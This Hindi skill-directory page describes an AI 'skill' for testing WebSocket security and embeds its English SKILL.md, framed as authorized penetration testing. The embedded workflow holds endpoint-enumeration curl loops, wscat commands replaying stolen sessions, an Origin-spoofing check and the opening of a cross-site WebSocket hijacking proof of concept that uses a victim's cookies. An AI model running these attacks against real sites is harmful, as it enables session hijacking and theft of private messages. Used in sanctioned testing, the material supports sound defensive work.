मुख्य सामग्री पर जाएँ
Skillpedia
सिक्योरिटी35k · #7928

exploiting-websocket-vulnerabilities

यह क्या करती है

यह टूल जाँचता है कि किसी वेबसाइट या ऐप के रियल-टाइम इंटरनेट कनेक्शन (जिन्हें WebSockets कहते हैं) में सुरक्षा खामियाँ हैं या नहीं। यह देखता है कि क्या बिना अनुमति जानकारी तक पहुंचा जा सकता है या अवांछित कमांड चलाई जा सकती हैं।

कब इस्तेमाल करें

  • ✓जब किसी वेबसाइट की सुरक्षा जांचने की अनुमति हो।
  • ✓रियल-टाइम चैट या notifications वाले ऐप्स जांचते समय।
  • ✓यह सुनिश्चित करने के लिए कि डेटा कनेक्शन में घुसपैठ या छेड़छाड़ न हो सके।

Skill का लिंक

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-websocket-vulnerabilities/SKILL.md

इसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।

कैसे इस्तेमाल करें

सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।

पेस्ट करने के लिए तैयार मैसेज

इस skill से मेरी मदद करो: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-websocket-vulnerabilities/SKILL.md इस लिंक की SKILL.md फ़ाइल पढ़ो और मेरे काम में उसके निर्देशों का पालन करो।
क्या आप चाहते हैं कि आपका AI ऐसी skills खुद ढूँढे?मुफ़्त Skillpedia MCP इंस्टॉल करें: बस एक लाइन, और हर काम से पहले यह 15,000+ skills में खोजता है।1 मिनट में इंस्टॉल करें →

AI से क्या माँगें: उदाहरण

“वेबसाइट X के WebSocket कनेक्शन जांचो कि क्या बिना प्राप्तकर्ता बने निजी संदेश पढ़े जा सकते हैं।”

हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।

यह कैसे काम करती है

टूल WebSocket कनेक्शन पर अलग-अलग तरह के हमलों की नकल करता है। यह खतरनाक संदेश भेजने या बिना सही अनुमति कनेक्ट होने की कोशिश करता है, ताकि खामियाँ मिल सकें।

तकनीकी सामग्री (मूल SKILL.md)

लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।

Exploiting WebSocket Vulnerabilities

When to Use

  • During authorized penetration tests when the application uses WebSocket connections for real-time features
  • When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
  • For testing WebSocket API endpoints for authentication and authorization flaws
  • When evaluating real-time data streams for injection vulnerabilities
  • During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs

Prerequisites

  • Authorization: Written penetration testing agreement covering WebSocket testing
  • Burp Suite Professional: With WebSocket interception capability
  • Browser DevTools: Network tab for WebSocket frame inspection
  • websocat: Command-line WebSocket client (cargo install websocat)
  • wscat: Node.js WebSocket client (npm install -g wscat)
  • Python websockets: For scripting custom WebSocket attacks (pip install websockets)

Workflow

Step 1: Discover and Enumerate WebSocket Endpoints

Identify WebSocket connections in the application.

# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames

Step 2: Test WebSocket Authentication

Verify that WebSocket connections require proper authentication.

# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF

Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)

Check if the WebSocket handshake is vulnerable to cross-site attacks.

# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working
<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket connected (using victim's session)");
  // Request sensitive data through the WebSocket

…
अक्सर पूछे जाने वाले सवाल

WebSockets क्या होते हैं?

ये यूज़र के ब्राउज़र और सर्वर के बीच लगातार चलने वाले कनेक्शन होते हैं, जिनसे ऑनलाइन चैट या गेम्स जैसे रियल-टाइम डेटा का आदान-प्रदान होता है।

क्या इसके लिए अनुमति चाहिए?

हाँ, किसी भी सिस्टम की सुरक्षा जांच से पहले लिखित अनुमति लेना ज़रूरी है। बिना अनुमति जांच करना गैरकानूनी है।

किन टूल्स की ज़रूरत पड़ती है?

आपको Burp Suite, ब्राउज़र का developer console और कुछ खास command-line प्रोग्राम जैसे टूल्स की ज़रूरत पड़ सकती है, जिनसे कनेक्शन जांचे जा सकें।

जानकारी

लेखक का मूल विवरण

Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.

repo: mukul975/Anthropic-Cybersecurity-Skills

लोकप्रियता

GitHub स्टार
35k
रैंकिंग में स्थान
#7928
लाइसेंस
Apache-2.0
अपडेट की गई
31/8/2026

क्या यह skill काम की है?

0

लॉग इन करें वोट करने के लिए।

कमेंट

  • …

इस repository की और skills

मिलती-जुलती skills